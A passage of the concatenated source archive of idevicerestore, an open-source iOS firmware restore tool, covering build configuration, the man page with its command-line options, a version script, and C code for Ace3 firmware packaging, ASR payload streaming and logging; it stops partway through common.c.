then AC_CHECK_LIB(pthread, [pthread_self], [], [AC_MSG_ERROR([pthread is required to build $PACKAGE])]) fi fi CACHED_CFLAGS="$CFLAGS" CFLAGS+=" $libimobiledevice_CFLAGS" # check if libimobiledevice has timeout errors AC_CACHE_CHECK(for IDEVICE_E_TIMEOUT in enum idevice_error_t, ac_cv_idevice_error_has_timeout, AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], [[ return IDEVICE_E_TIMEOUT; ]])],[ac_cv_idevice_error_has_timeout=yes],[ac_cv_idevice_error_has_timeout=no])) if test "$ac_cv_idevice_error_has_timeout" = "yes"; then AC_DEFINE(HAVE_IDEVICE_E_TIMEOUT, 1, [Define if enum idevice_error_t defines IDEVICE_E_TIMEOUT]) fi AC_CACHE_CHECK(for RESTORE_E_RECEIVE_TIMEOUT in enum restored_error_t, ac_cv_restored_error_has_timeout, AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], [[ return RESTORE_E_RECEIVE_TIMEOUT; ]])],[ac_cv_restored_error_has_timeout=yes],[ac_cv_restored_error_has_timeout=no])) if test "$ac_cv_restored_error_has_timeout" = "yes"; then AC_DEFINE(HAVE_RESTORE_E_RECEIVE_TIMEOUT, 1, [Define if enum restored_error_t defines RESTORE_E_RECEIVE_TIMEOUT]) fi # check if libimobiledevice has enum idevice_connection_type AC_CACHE_CHECK(for enum idevice_connection_type, ac_cv_enum_idevice_connection_type, AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include ]], [[ enum idevice_connection_type conn_type = CONNECTION_USBMUXD; ]])],[ac_cv_enum_idevice_connection_type=yes],[ac_cv_enum_idevice_connection_type=no])) if test "$ac_cv_enum_idevice_connection_type" = "yes"; then AC_DEFINE(HAVE_ENUM_IDEVICE_CONNECTION_TYPE, 1, [Define if enum idevice_connection_type is available]) fi # check if libimobiledevice has reverse proxy support AC_CACHE_CHECK(for reverse proxy support in libimobiledevice, ac_cv_reverse_proxy, AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include #include ]], [[ reverse_proxy_client_t rp = NULL; reverse_proxy_client_create_with_port(NULL, &rp, REVERSE_PROXY_DEFAULT_PORT); ]])],[ac_cv_reverse_proxy=yes],[ac_cv_reverse_proxy=no])) if test "$ac_cv_reverse_proxy" = "yes"; then AC_DEFINE(HAVE_REVERSE_PROXY, 1, [Define if libimobiledevice has a reverse proxy implementation]) fi CFLAGS="$CACHED_CFLAGS" AC_SUBST(GLOBAL_CFLAGS) AC_SUBST(AC_LDFLAGS) AC_SUBST(AC_LDADD) # check for large file support AC_SYS_LARGEFILE m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])]) AC_CONFIG_FILES([ Makefile src/Makefile docs/Makefile ]) AC_OUTPUT echo " Configuration for $PACKAGE $VERSION: ------------------------------------------- Install prefix: .........: $prefix Now type 'make' to build $PACKAGE $VERSION, and then 'make install' for installation. " idevicerestore-master/docs/000077500000000000000000000000001464320324600163175ustar00rootroot00000000000000idevicerestore-master/docs/Makefile.am000066400000000000000000000000641464320324600203530ustar00rootroot00000000000000man_MANS = idevicerestore.1 EXTRA_DIST = $(man_MANS)idevicerestore-master/docs/idevicerestore.1000066400000000000000000000064361464320324600214260ustar00rootroot00000000000000.TH "idevicerestore" 1 .SH NAME idevicerestore \- Restore IPSW firmware at PATH to an iOS device .SH SYNOPSIS .B idevicerestore [OPTIONS] PATH .SH DESCRIPTION Restore firmware files to iOS devices while either erasing the device or updating to preserve content and settings. \f[B]PATH\f[] can be a compressed .ipsw file or a directory containing all files extracted from an IPSW. .SH OPTIONS .TP .B \-i, \-\-ecid ECID Target specific device by its ECID, e.g. 0xaabb123456 (hex) or 1234567890 (decimal). .TP .B \-u, \-\-udid UDID Target specific device by its device UDID. \f[B]NOTE\f[]: only works with devices in normal mode. .TP .B \-l, \-\-latest Use latest available firmware (with download on demand). Before performing any action it will interactively ask to select one of the currently signed firmware versions, unless \f[B]\-y\f[] has been given too. The PATH argument is ignored when using this option. \f[B]DO NOT USE\f[] if you need to preserve the baseband/unlock! \f[B]USE WITH CARE\f[] if you want to keep a jailbreakable firmware! .TP .B \-e, \-\-erase Perform full restore instead of update, erasing all data \f[B]DO NOT USE\f[] if you want to preserve user data on the device! .TP .B \-y, \-\-no\-input Non-interactive mode, do not ask for any input. \f[B]WARNING\f[]: This will disable certain checks/prompts that are supposed to prevent DATA LOSS. \f[B]Use with caution\f[]. .TP .B \-n, \-\-no\-action Do not perform any restore action. If combined with \f[B]\-l\f[] option the on-demand ipsw download is performed before exiting. .TP .B \-\-ipsw\-info Print information about the IPSW at PATH and exit. .TP .B \-h, \-\-help Prints usage information. .TP .B \-C, \-\-cache\-path DIR Use specified directory for caching extracted or other reused files. .TP .B \-d, \-\-debug Enable communication debugging. .TP .B \-v, \-\-version Prints version information. .SH ADVANCED/EXPERIMENTAL OPTIONS .TP .B \-c, \-\-custom Restore with a custom firmware (requires bootrom exploit) .TP .B \-s, \-\-server URL Override the default signing server request URL. If the URL doesn't contain a path component, the default path \f[B]/TSS/controller?action=2\f[] will be added. .TP .B \-x, \-\-exclude Exclude nor/baseband upgrade. \f[B]NOTE\f[]: This option only works with legacy devices and/or custom firmware. .TP .B \-t, \-\-shsh Fetch TSS record and save to .shsh file, then exit. .TP .B \-z, \-\-no\-restore Do not restore and end after booting to the ramdisk. .TP .B \-k, \-\-keep\-pers Write personalized components to files for debugging. .TP .B \-p, \-\-pwn Put device in pwned DFU mode and exit (limera1n devices only). .TP .B \-P, --plain-progress Print progress as plain step and progress .TP .B \-R, \-\-restore\-mode Allow restoring from Restore mode .TP .B \-T, \-\-ticket PATH Use file at PATH to send as AP ticket .TP .B \-\-variant VARIANT Use given VARIANT to match the build identity to use, e.g. 'Customer Erase Install (IPSW)' .TP .B \-\-ignore\-errors Try to continue the restore process after certain errors (like a failed baseband update). \f[B]WARNING\f[]: This might render the device unable to boot or only partially functioning. \f[B]Use with caution\f[]. .SH AUTHORS Martin Szulecki Nikias Bassen Joshua Hill .SH ON THE WEB https://libimobiledevice.org https://github.com/libimobiledevice/idevicerestore idevicerestore-master/git-version-gen000077500000000000000000000011031464320324600203250ustar00rootroot00000000000000#!/bin/sh SRCDIR=`dirname $0` if test -n "$1"; then VER=$1 else if test -r "${SRCDIR}/.git" && test -x "`which git`" ; then git update-index -q --refresh if ! VER=`git describe --tags --dirty 2>/dev/null`; then COMMIT=`git rev-parse --short HEAD` DIRTY=`git diff --quiet HEAD || echo "-dirty"` VER=`sed -n '1,/RE/s/Version \(.*\)/\1/p' ${SRCDIR}/NEWS`-git-${COMMIT}${DIRTY} fi else if test -f "${SRCDIR}/.tarball-version"; then VER=`cat "${SRCDIR}/.tarball-version"` fi fi fi VER=`printf %s "$VER" | head -n1` printf %s "$VER" idevicerestore-master/src/000077500000000000000000000000001464320324600161565ustar00rootroot00000000000000idevicerestore-master/src/Makefile.am000066400000000000000000000020501464320324600202070ustar00rootroot00000000000000AM_CFLAGS = \ $(GLOBAL_CFLAGS) \ $(LFS_CFLAGS) \ $(libirecovery_CFLAGS) \ $(libimobiledevice_CFLAGS) \ $(libusbmuxd_CFLAGS) \ $(libplist_CFLAGS) \ $(limd_glue_CFLAGS) \ $(libtatsu_CFLAGS) \ $(libzip_CFLAGS) \ $(zlib_CFLAGS) \ $(libcurl_CFLAGS) AM_LDFLAGS = \ $(AC_LDFLAGS) \ $(libirecovery_LIBS) \ $(libimobiledevice_LIBS) \ $(libusbmuxd_LIBS) \ $(libplist_LIBS) \ $(limd_glue_LIBS) \ $(libtatsu_LIBS) \ $(libzip_LIBS) \ $(zlib_LIBS) \ $(libcurl_LIBS) AM_LDADD = $(AC_LDADD) bin_PROGRAMS = idevicerestore idevicerestore_SOURCES = \ idevicerestore.c idevicerestore.h \ endianness.h \ common.c common.h \ fls.c fls.h \ mbn.c mbn.h \ img3.c img3.h \ img4.c img4.h \ ftab.c ftab.h \ ipsw.c ipsw.h \ normal.c normal.h \ dfu.c dfu.h \ recovery.c recovery.h \ restore.c restore.h \ asr.c asr.h \ fdr.c fdr.h \ ace3.c ace3.h \ limera1n_payload.h \ limera1n.c limera1n.h \ download.c download.h \ locking.c locking.h idevicerestore_CFLAGS = $(AM_CFLAGS) idevicerestore_LDFLAGS = $(AM_LDFLAGS) idevicerestore_LDADD = $(AM_LDADD) idevicerestore-master/src/ace3.c000066400000000000000000000200651464320324600171400ustar00rootroot00000000000000/* * ace3.c * Functions to handle Ace3/uarp firmware format * * Copyright (c) 2024 Nikias Bassen, All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include "common.h" #include "ace3.h" #include "endianness.h" static uint32_t crc_buffer(const unsigned char* buffer, unsigned int bufsize, unsigned int salt) { uint32_t result; unsigned int i; unsigned int j; if ( !buffer ) return 0xFFFFFFFF; result = salt; for (i = 0; i < bufsize; ++i) { for (j = 0; j != 8; ++j) { unsigned int tmp0 = 2 * result; unsigned int tmp1 = *(unsigned char*)(buffer + i); unsigned int tmp2 = ((unsigned int)result >> 31) ^ ((tmp1 >> j) & 1); result = (tmp2 + 2 * result) ^ 0x4C11DB6; if (!tmp2) result = tmp0; } } return result; } int ace3_create_binary(const unsigned char* uarp_fw, size_t uarp_size, uint64_t bdid, unsigned int prev, plist_t tss, unsigned char** bin_out, size_t* bin_size) { struct ace3bin_header { uint32_t magic; // 0xACE00003 uint32_t unk4; // 0x00203400 uint32_t unk8; // 0x00002800 uint32_t header_size; // 0x00000040 uint32_t data1_size; uint32_t data2_size; uint32_t im4m_offset; uint32_t im4m_dl_size; uint32_t content_size; uint32_t crc; uint64_t fill1; // 0xFFFFFFFFFFFFFFFF uint64_t fill2; // 0xFFFFFFFFFFFFFFFF uint64_t fill3; // 0xFFFFFFFFFFFFFFFF }; struct uarp_header { uint32_t unk_00; // BE 0x00000002 uint32_t header_size; // BE usually 0x0000002C uint32_t plist_offset; // BE uint32_t unk_0c; // 0 uint32_t unk_10; // 0 uint32_t unk_14; // 0 uint32_t unk_18; // 0 uint32_t c_offset; // BE uint32_t unk_20; // 0 uint32_t toc_offset; // BE usually 0x0000002c uint32_t toc_size; // BE }; struct uarp_toc_entry { uint32_t this_size; // BE usually 0x28 uint32_t fourcc; // 'PT01' or similar uint32_t index; // BE starting with 0, increment+1 for each entry uint32_t unk_0c; // BE usually not zero uint32_t unk_10; // BE usually 0 uint32_t unk_14; // BE usually 0 uint32_t unk_18; // BE other offset, not sure uint32_t unk_1c; // BE usually 0 uint32_t offset; // BE uint32_t size; // }; plist_t p_im4m = plist_dict_get_item(tss, "USBPortController1,Ticket"); uint64_t im4m_size = 0; const char* im4m = plist_get_data_ptr(p_im4m, &im4m_size); struct uarp_header* uarp_hdr = (struct uarp_header*)uarp_fw; uint32_t uarp_hdr_size = be32toh(uarp_hdr->header_size); uint32_t plist_offset = be32toh(uarp_hdr->plist_offset); uint32_t plist_size = uarp_size - plist_offset; nskeyedarchive_t ka = nskeyedarchive_new_from_data(uarp_fw + plist_offset, plist_size); if (!ka) { return -1; } plist_t uarp_dict = nskeyedarchive_to_plist(ka); nskeyedarchive_free(ka); // find the corresponding entries for given BoardID+PREV char* payload_4cc = NULL; char* data_payload_4ccs = NULL; plist_t sb_payloads = plist_dict_get_item(uarp_dict, "SuperBinary Payloads"); if (PLIST_IS_ARRAY(sb_payloads)) { plist_array_iter iter = NULL; plist_array_new_iter(sb_payloads, &iter); plist_t payload = NULL; do { plist_array_next_item(sb_payloads, iter, &payload); if (!payload) { break; } plist_t meta = plist_dict_get_item(payload, "Payload MetaData"); if (!PLIST_IS_DICT(meta)) { continue; } plist_t prefix = plist_dict_get_item(meta, "Personalization Manifest Prefix"); if (!PLIST_IS_STRING(prefix)) { continue; } if (strcmp(plist_get_string_ptr(prefix, NULL), "USBPortController") != 0) { continue; } plist_t p_boardid = plist_dict_get_item(meta, "Personalization Board ID (64 bits)"); if (!PLIST_IS_INT(p_boardid)) { continue; } uint64_t boardid = 0; plist_get_uint_val(p_boardid, &boardid); if (boardid == bdid) { plist_t p4cc = plist_dict_get_item(payload, "Payload 4CC"); plist_get_string_val(p4cc, &payload_4cc); plist_t matching = plist_dict_get_item(meta, "Personalization Matching Data"); if (PLIST_IS_ARRAY(matching)) { plist_array_iter iter2 = NULL; plist_array_new_iter(matching, &iter2); plist_t match = NULL; do { plist_array_next_item(matching, iter2, &match); if (!PLIST_IS_DICT(match)) { break; } uint64_t minrev = 0; plist_t p_min = plist_dict_get_item(match, "Personalization Matching Data Product Revision Minimum"); plist_get_uint_val(p_min, &minrev); uint64_t maxrev = 0; plist_t p_max = plist_dict_get_item(match, "Personalization Matching Data Product Revision Maximum"); plist_get_uint_val(p_max, &maxrev); if (prev >= minrev && prev <= maxrev) { plist_t tags = plist_dict_get_item(match, "Personalization Matching Data Payload Tags"); plist_get_string_val(tags, &data_payload_4ccs); break; } } while (match); plist_mem_free(iter2); } break; } } while (payload); plist_mem_free(iter); } if (!payload_4cc) { printf("Failed to get payload 4cc\n"); return -1; } if (!data_payload_4ccs) { printf("Failed to get data payload 4ccs\n"); return -1; } // now find the blobs in UARP data uint32_t dl_offset = 0; uint32_t dl_size = 0; uint32_t data1_offset = 0; uint32_t data1_size = 0; uint32_t data2_offset = 0; uint32_t data2_size = 0; uint32_t toc_offset = be32toh(uarp_hdr->toc_offset); uint32_t toc_size = be32toh(uarp_hdr->toc_size); const unsigned char* p = uarp_fw + uarp_hdr_size; while (p < uarp_fw + toc_size) { struct uarp_toc_entry* entry = (struct uarp_toc_entry*)p; uint32_t te_size = be32toh(entry->this_size); if (strncmp((char*)&(entry->fourcc), payload_4cc, 4) == 0) { dl_offset = be32toh(entry->offset); dl_size = be32toh(entry->size); } else if (strncmp((char*)&(entry->fourcc), data_payload_4ccs, 4) == 0) { data1_offset = be32toh(entry->offset); data1_size = be32toh(entry->size); } else if (strncmp((char*)&(entry->fourcc), data_payload_4ccs+5, 4) == 0) { data2_offset = be32toh(entry->offset); data2_size = be32toh(entry->size); } p += te_size; } uint32_t content_size = data1_size + data2_size + im4m_size + dl_size; *bin_out = (unsigned char*)malloc(0x40 + content_size); struct ace3bin_header* hdr = (struct ace3bin_header*)(*bin_out); hdr->magic = htole32(0xACE00003); hdr->unk4 = htole32(0x00203400); hdr->unk8 = htole32(0x00002800); hdr->header_size = htole32(0x40); hdr->data1_size = htole32(data1_size); hdr->data2_size = htole32(data2_size);; hdr->im4m_offset = htole32(0x40 + data1_size + data2_size); hdr->im4m_dl_size = htole32(im4m_size + dl_size); hdr->content_size = htole32(content_size); hdr->crc = 0; hdr->fill1 = 0xFFFFFFFFFFFFFFFFLL; hdr->fill2 = 0xFFFFFFFFFFFFFFFFLL; hdr->fill3 = 0xFFFFFFFFFFFFFFFFLL; // write data1 payload memcpy(*bin_out + 0x40, uarp_fw + data1_offset, data1_size); // write data2 payload memcpy(*bin_out + 0x40 + data1_size, uarp_fw + data2_offset, data2_size); // write IM4M memcpy(*bin_out + 0x40 + data1_size + data2_size, im4m, im4m_size); // write dl payload memcpy(*bin_out + 0x40 + data1_size + data2_size + im4m_size, uarp_fw + dl_offset, dl_size); // calculate CRC and update header hdr->crc = htole32(crc_buffer(*bin_out + 0x40, content_size, 0xFFFFFFFF)); *bin_size = 0x40 + content_size; return 0; } idevicerestore-master/src/ace3.h000066400000000000000000000005321464320324600171420ustar00rootroot00000000000000#ifndef IDEVICERESTORE_ACE3_H #define IDEVICERESTORE_ACE3_H #ifdef __cplusplus extern "C" { #endif #include #include int ace3_create_binary(const unsigned char* uarp_fw, size_t uarp_size, uint64_t bdid, unsigned int prev, plist_t tss, unsigned char** bin_out, size_t* bin_size); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/asr.c000066400000000000000000000232051464320324600171110ustar00rootroot00000000000000/* * asr.c * Functions for handling asr connections * * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include "asr.h" #include "idevicerestore.h" #include "common.h" #include "ipsw.h" #define ASR_VERSION 1 #define ASR_STREAM_ID 1 #define ASR_BUFFER_SIZE 65536 #define ASR_FEC_SLICE_STRIDE 40 #define ASR_PACKETS_PER_FEC 25 #define ASR_PAYLOAD_PACKET_SIZE 1450 #define ASR_PAYLOAD_CHUNK_SIZE 131072 #define ASR_CHECKSUM_CHUNK_SIZE 131072 int asr_open_with_timeout(idevice_t device, asr_client_t* asr, uint16_t port) { int i = 0; int attempts = 10; idevice_connection_t connection = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; *asr = NULL; if (device == NULL) { return -1; } if (port == 0) { port = ASR_DEFAULT_PORT; } debug("Connecting to ASR on port %u\n", port); for (i = 1; i <= attempts; i++) { device_error = idevice_connect(device, port, &connection); if (device_error == IDEVICE_E_SUCCESS) { break; } if (i >= attempts) { error("ERROR: Unable to connect to ASR client\n"); return -1; } sleep(2); debug("Retrying connection...\n"); } asr_client_t asr_loc = (asr_client_t)malloc(sizeof(struct asr_client)); memset(asr_loc, '\0', sizeof(struct asr_client)); asr_loc->connection = connection; /* receive Initiate command message */ plist_t data = NULL; asr_loc->checksum_chunks = 0; if (asr_receive(asr_loc, &data) < 0) { error("ERROR: Unable to receive data from ASR\n"); asr_free(asr_loc); plist_free(data); return -1; } plist_t node; node = plist_dict_get_item(data, "Command"); if (node && (plist_get_node_type(node) == PLIST_STRING)) { char* strval = NULL; plist_get_string_val(node, &strval); if (strval && (strcmp(strval, "Initiate") != 0)) { error("ERROR: unexpected ASR plist received:\n"); debug_plist(data); plist_free(data); asr_free(asr_loc); return -1; } } node = plist_dict_get_item(data, "Checksum Chunks"); if (node && (plist_get_node_type(node) == PLIST_BOOLEAN)) { plist_get_bool_val(node, &(asr_loc->checksum_chunks)); } plist_free(data); *asr = asr_loc; return 0; } void asr_set_progress_callback(asr_client_t asr, asr_progress_cb_t cbfunc, void* userdata) { if (!asr) { return; } asr->progress_cb = cbfunc; asr->progress_cb_data = userdata; } int asr_receive(asr_client_t asr, plist_t* data) { uint32_t size = 0; char* buffer = NULL; plist_t request = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; *data = NULL; buffer = (char*)malloc(ASR_BUFFER_SIZE); if (buffer == NULL) { error("ERROR: Unable to allocate memory for ASR receive buffer\n"); return -1; } device_error = idevice_connection_receive(asr->connection, buffer, ASR_BUFFER_SIZE, &size); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Unable to receive data from ASR\n"); free(buffer); return -1; } plist_from_xml(buffer, size, &request); *data = request; debug("Received %d bytes:\n", size); if (idevicerestore_debug) debug_plist(request); free(buffer); return 0; } int asr_send(asr_client_t asr, plist_t data) { uint32_t size = 0; char* buffer = NULL; plist_to_xml(data, &buffer, &size); if (asr_send_buffer(asr, buffer, size) < 0) { error("ERROR: Unable to send plist to ASR\n"); free(buffer); return -1; } if (buffer) free(buffer); return 0; } int asr_send_buffer(asr_client_t asr, const char* data, uint32_t size) { uint32_t bytes = 0; idevice_error_t device_error = IDEVICE_E_SUCCESS; device_error = idevice_connection_send(asr->connection, data, size, &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != size) { error("ERROR: Unable to send data to ASR. Sent %u of %u bytes.\n", bytes, size); return -1; } return 0; } void asr_free(asr_client_t asr) { if (asr != NULL) { if (asr->connection != NULL) { idevice_disconnect(asr->connection); asr->connection = NULL; } free(asr); asr = NULL; } } int asr_perform_validation(asr_client_t asr, ipsw_file_handle_t file) { uint64_t length = 0; char* command = NULL; plist_t node = NULL; plist_t packet = NULL; plist_t packet_info = NULL; plist_t payload_info = NULL; int attempts = 0; length = ipsw_file_size(file); payload_info = plist_new_dict(); plist_dict_set_item(payload_info, "Port", plist_new_uint(1)); plist_dict_set_item(payload_info, "Size", plist_new_uint(length)); packet_info = plist_new_dict(); if (asr->checksum_chunks) { plist_dict_set_item(packet_info, "Checksum Chunk Size", plist_new_uint(ASR_CHECKSUM_CHUNK_SIZE)); } plist_dict_set_item(packet_info, "FEC Slice Stride", plist_new_uint(ASR_FEC_SLICE_STRIDE)); plist_dict_set_item(packet_info, "Packet Payload Size", plist_new_uint(ASR_PAYLOAD_PACKET_SIZE)); plist_dict_set_item(packet_info, "Packets Per FEC", plist_new_uint(ASR_PACKETS_PER_FEC)); plist_dict_set_item(packet_info, "Payload", payload_info); plist_dict_set_item(packet_info, "Stream ID", plist_new_uint(ASR_STREAM_ID)); plist_dict_set_item(packet_info, "Version", plist_new_uint(ASR_VERSION)); if (asr_send(asr, packet_info)) { error("ERROR: Unable to sent packet information to ASR\n"); plist_free(packet_info); return -1; } plist_free(packet_info); while (1) { if (asr_receive(asr, &packet) < 0) { error("ERROR: Unable to receive validation packet\n"); return -1; } if (packet == NULL) { if (attempts < 5) { info("Retrying to receive validation packet... %d\n", attempts); attempts++; sleep(1); continue; } } attempts = 0; node = plist_dict_get_item(packet, "Command"); if (!node || plist_get_node_type(node) != PLIST_STRING) { error("ERROR: Unable to find command node in validation request\n"); return -1; } plist_get_string_val(node, &command); if (!strcmp(command, "OOBData")) { int ret = asr_handle_oob_data_request(asr, packet, file); plist_free(packet); if (ret < 0) return ret; } else if(!strcmp(command, "Payload")) { plist_free(packet); break; } else { error("ERROR: Unknown command received from ASR\n"); plist_free(packet); return -1; } } return 0; } int asr_handle_oob_data_request(asr_client_t asr, plist_t packet, ipsw_file_handle_t file) { char* oob_data = NULL; uint64_t oob_offset = 0; uint64_t oob_length = 0; plist_t oob_length_node = NULL; plist_t oob_offset_node = NULL; oob_length_node = plist_dict_get_item(packet, "OOB Length"); if (!oob_length_node || PLIST_UINT != plist_get_node_type(oob_length_node)) { error("ERROR: Unable to find OOB data length\n"); return -1; } plist_get_uint_val(oob_length_node, &oob_length); oob_offset_node = plist_dict_get_item(packet, "OOB Offset"); if (!oob_offset_node || PLIST_UINT != plist_get_node_type(oob_offset_node)) { error("ERROR: Unable to find OOB data offset\n"); return -1; } plist_get_uint_val(oob_offset_node, &oob_offset); oob_data = (char*) malloc(oob_length); if (oob_data == NULL) { error("ERROR: Out of memory\n"); return -1; } if (ipsw_file_seek(file, oob_offset, SEEK_SET) < 0) { error("ERROR: Unable to seek to OOB offset 0x%" PRIx64 "\n", oob_offset); free(oob_data); return -1; } int64_t ir = ipsw_file_read(file, oob_data, oob_length); if (ir != oob_length) { error("ERROR: Unable to read OOB data from filesystem offset 0x%" PRIx64 ", oob_length %" PRIu64 ", read returned %" PRIi64"\n", oob_offset, oob_length, ir); free(oob_data); return -1; } if (asr_send_buffer(asr, oob_data, oob_length) < 0) { error("ERROR: Unable to send OOB data to ASR\n"); free(oob_data); return -1; } free(oob_data); return 0; } int asr_send_payload(asr_client_t asr, ipsw_file_handle_t file) { char *data = NULL; uint64_t i, length, bytes = 0; double progress = 0; length = ipsw_file_size(file); ipsw_file_seek(file, 0, SEEK_SET); data = (char*)malloc(ASR_PAYLOAD_CHUNK_SIZE + 20); i = length; int retry = 3; while(i > 0 && retry >= 0) { uint32_t size = ASR_PAYLOAD_CHUNK_SIZE; uint32_t sendsize = 0; if (i < ASR_PAYLOAD_CHUNK_SIZE) { size = i; } if (ipsw_file_read(file, data, size) != (int64_t)size) { error("Error reading filesystem\n"); retry--; continue; } sendsize = size; if (asr->checksum_chunks) { sha1((unsigned char*)data, size, (unsigned char*)(data+size)); sendsize += 20; } if (asr_send_buffer(asr, data, sendsize) < 0) { error("Unable to send filesystem payload chunk, retrying...\n"); retry--; continue; } bytes += size; progress = ((double)bytes / (double)length); if (asr->progress_cb && ((int)(progress*100) > asr->lastprogress)) { asr->progress_cb(progress, asr->progress_cb_data); asr->lastprogress = (int)(progress*100); } i -= size; } free(data); return (i == 0) ? 0 : -1; } idevicerestore-master/src/asr.h000066400000000000000000000041111464320324600171110ustar00rootroot00000000000000/* * asr.h * Functions for handling asr connections * * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_ASR_H #define IDEVICERESTORE_ASR_H #ifdef __cplusplus extern "C" { #endif #include #define ASR_DEFAULT_PORT 12345 typedef void (*asr_progress_cb_t)(double, void*); struct asr_client { idevice_connection_t connection; uint8_t checksum_chunks; int lastprogress; asr_progress_cb_t progress_cb; void* progress_cb_data; }; typedef struct asr_client *asr_client_t; struct ipsw_file_handle; typedef struct ipsw_file_handle* ipsw_file_handle_t; int asr_open_with_timeout(idevice_t device, asr_client_t* asr, uint16_t port); void asr_set_progress_callback(asr_client_t asr, asr_progress_cb_t, void* userdata); int asr_send(asr_client_t asr, plist_t data); int asr_receive(asr_client_t asr, plist_t* data); int asr_send_buffer(asr_client_t asr, const char* data, uint32_t size); void asr_free(asr_client_t asr); int asr_perform_validation(asr_client_t asr, ipsw_file_handle_t file); int asr_send_payload(asr_client_t asr, ipsw_file_handle_t file); int asr_handle_oob_data_request(asr_client_t asr, plist_t packet, ipsw_file_handle_t file); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/common.c000066400000000000000000000325231464320324600176170ustar00rootroot00000000000000/* * common.c * Misc functions used in idevicerestore * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #ifdef WIN32 #include #include #ifndef _O_EXCL #define _O_EXCL 0x0400 #endif #ifndef O_EXCL #define O_EXCL _O_EXCL #endif #else #include #include #include #endif #include "common.h" #include "endianness.h" #define MAX_PRINT_LEN 64*1024 struct idevicerestore_mode_t idevicerestore_modes[] = { { 0, "Unknown" }, { 1, "WTF" }, { 2, "DFU" }, { 3, "Recovery" }, { 4, "Restore" }, { 5, "Normal" }, { 6, "Port DFU" }, }; int idevicerestore_debug = 0; #define idevicerestore_err_buff_size 256 static char idevicerestore_err_buff[idevicerestore_err_buff_size] = {0, }; static FILE* info_stream = NULL; static FILE* error_stream = NULL; static FILE* debug_stream = NULL; static int info_disabled = 0; static int error_disabled = 0; static int debug_disabled = 0; static mutex_t log_mutex; static thread_once_t init_once = THREAD_ONCE_INIT; static void _log_init(void) { mutex_init(&log_mutex); } void info(const char* format, ...) { if (info_disabled) return; thread_once(&init_once, _log_init); mutex_lock(&log_mutex); va_list vargs; va_start(vargs, format); vfprintf((info_stream) ? info_stream : stdout, format, vargs); va_end(vargs); mutex_unlock(&log_mutex); } void error(const char* format, ...) { thread_once(&init_once, _log_init); mutex_lock(&log_mutex); va_list vargs, vargs2; va_start(vargs, format); va_copy(vargs2, vargs); vsnprintf(idevicerestore_err_buff, idevicerestore_err_buff_size, format, vargs); va_end(vargs); if (!error_disabled) { vfprintf((error_stream) ? error_stream : stderr, format, vargs2); } va_end(vargs2); mutex_unlock(&log_mutex); } void debug(const char* format, ...) { if (debug_disabled) return; if (!idevicerestore_debug) { return; } thread_once(&init_once, _log_init); mutex_lock(&log_mutex); va_list vargs; va_start(vargs, format); vfprintf((debug_stream) ? debug_stream : stderr, format, vargs); va_end(vargs); mutex_unlock(&log_mutex); } void idevicerestore_set_info_stream(FILE* strm) { if (strm) { info_disabled = 0; info_stream = strm; } else { info_disabled = 1; } } void idevicerestore_set_error_stream(FILE* strm) { if (strm) { error_disabled = 0; error_stream = strm; } else { error_disabled = 1; } } void idevicerestore_set_debug_stream(FILE* strm) { if (strm) { debug_disabled = 0; debug_stream = strm; } else { debug_disabled = 1; } } const char* 